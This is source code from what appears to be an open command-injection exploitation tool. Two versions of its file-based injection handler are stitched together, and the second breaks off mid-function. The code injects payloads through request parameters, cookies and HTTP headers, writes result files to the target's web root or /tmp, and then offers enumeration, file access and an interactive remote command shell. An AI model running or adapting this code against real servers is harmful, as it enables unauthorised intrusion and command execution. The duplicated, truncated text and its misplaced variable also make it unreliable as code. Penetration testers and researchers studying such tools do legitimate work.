def fb_injection_handler(url, timesec, filename, http_request_method,
url_time_response):
shell = False
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based command injection technique"
tmp_path = check_tmp_path(url, timesec, filename, http_request_method,
url_time_response)
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
info_msg += "' for command execution results. "
print(settings.print_info_msg(info_msg))
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION:
try:
settings.FILE_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
session_handler.notification(
url, technique, injection_type)
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(
url, timesec, filename, tmp_path,
http_request_method, url_time_response)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell:
payload = fb_payloads.decision_alter_shell(
separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(
separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(
payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating payload for the injection..."
print(settings.print_info_msg(info_msg))
print(settings.print_payload(payload))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = fb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent HTTP Header Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = fb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer HTTP Header Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to Referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = fb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Host HTTP Header Injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to Host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(
menu.options.host)
response = fb_injector.host_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(
payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(
url, OUTPUT_TEXTFILE, timesec)
time.sleep(timesec)
try:
# Check if defined extra headers.
request = _urllib.request.Request(output)
headers.do_check(request)
# Evaluate test results.
output = _urllib.request.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[
0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = settings.SUCCESS_MSG
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0:
raise _urllib.error.HTTPError(
url, 404, 'Error', {}, None)
except _urllib.error.HTTPError as e:
if str(e.getcode()
) == settings.NOT_FOUND_ERROR:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(
menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == int(menu.options.failed_tries
) and no_result == True:
tmp_path = check_tmp_path(
url, timesec, filename,
http_request_method,
url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(
warn_msg))
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
tmp_upload = _input(
settings.
print_question_msg(
question_msg))
else:
tmp_upload = ""
if len(tmp_upload) == 0:
tmp_upload = "y"
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(
no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print("")
raise
else:
err_msg = "'" + tmp_upload + "' is not a valid answer."
print(
settings.print_error_msg(
err_msg))
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent
) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(
float_percent
) + "%)"
else:
percent = ".. (" + str(
float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" +
settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()
) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print(
settings.print_critical_msg(err_msg) +
"\n")
raise SystemExit()
elif str(e.getcode()
) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print(
settings.print_critical_msg(err_msg) +
"\n")
raise SystemExit()
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except _urllib.error.URLError as e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": ", " (") + ")."
if menu.options.verbose > 1:
print("")
print(settings.print_critical_msg(err_msg))
# Provide custom server's root directory.
custom_web_root(url, timesec, filename,
http_request_method,
url_time_response)
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
settings.FILE_BASED_STATE = True
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = "Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print("")
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter
) > 0 and not "cookie" in header_name:
success_msg += " " + http_request_method
success_msg += ('', ' (JSON)')[settings.IS_JSON] + (
'', ' (SOAP/XML)'
)[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print(settings.print_success_msg(success_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
timesec=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# print("")
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if not menu.file_access_options(
) and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1 and new_line:
print("")
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(
settings.print_question_msg(
question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print("")
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print("")
fb_file_access.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print("")
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print("")
fb_enumeration.single_os_cmd_exec(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise SystemExit()
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print("")
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(
settings.print_question_msg(
question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print("")
print("Pseudo-Terminal (type '" +
Style.BRIGHT + "?" +
Style.RESET_ALL +
"' for available options)")
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = _input("""commix(""" +
Style.BRIGHT + Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename, technique, go_back,
no_result, timesec,
go_back_again, payload,
OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
response = fb_injector.injection(
separator, payload, TAG, cmd,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(
url, OUTPUT_TEXTFILE,
timesec)
shell = "".join(
str(p) for p in shell)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell:
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
print("\n" + Fore.GREEN +
Style.BRIGHT +
shell +
Style.RESET_ALL +
"\n")
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print("")
err_msg = "The '" + cmd + "' command, does not return any output."
print(
settings.
print_critical_msg(
err_msg) + "\n")
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
except KeyboardInterrupt:
# if settings.VERBOSITY_LEVEL >= 1:
print("")
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print("")
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based injection technique"
# Set temp path
if settings.TARGET_OS == "win":
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = "C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR:
settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
else:
if menu.options.srv_root_dir:
settings.SRV_ROOT_DIR = menu.options.srv_root_dir
else:
# Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
if "apache" in settings.SERVER_BANNER.lower():
if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
except IndexError:
pass
# Add "/html" to servers root directory
elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
pass
# On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
elif "nginx" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] >= "1.2.4":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
# Add "/www" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
except IndexError:
pass
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
pass
else:
# Provide custom server's root directory.
custom_srv_root_dir()
path = urlparse.urlparse(url).path
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
EXTRA_DIR = path.replace(last_param, "")
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
if settings.TARGET_OS == "win":
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")
if not settings.LOAD_SESSION or settings.RETEST == True:
info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
print settings.print_info_msg(info_msg)
i = 0
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0 :
# delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
raise urllib2.HTTPError(url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == settings.FAILED_TRIES and no_result == True :
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
while True:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
tmp_upload = sys.stdin.readline().replace("\n","").lower()
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print ""
raise
else:
if tmp_upload == "":
tmp_upload = "enter"
err_msg = "'" + tmp_upload + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print settings.print_critical_msg(err_msg) + "\n"
sys.exit(0)
elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print settings.print_critical_msg(err_msg) + "\n"
sys.exit(0)
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
# Provide custom server's root directory.
custom_srv_root_dir()
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if not menu.file_access_options() and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
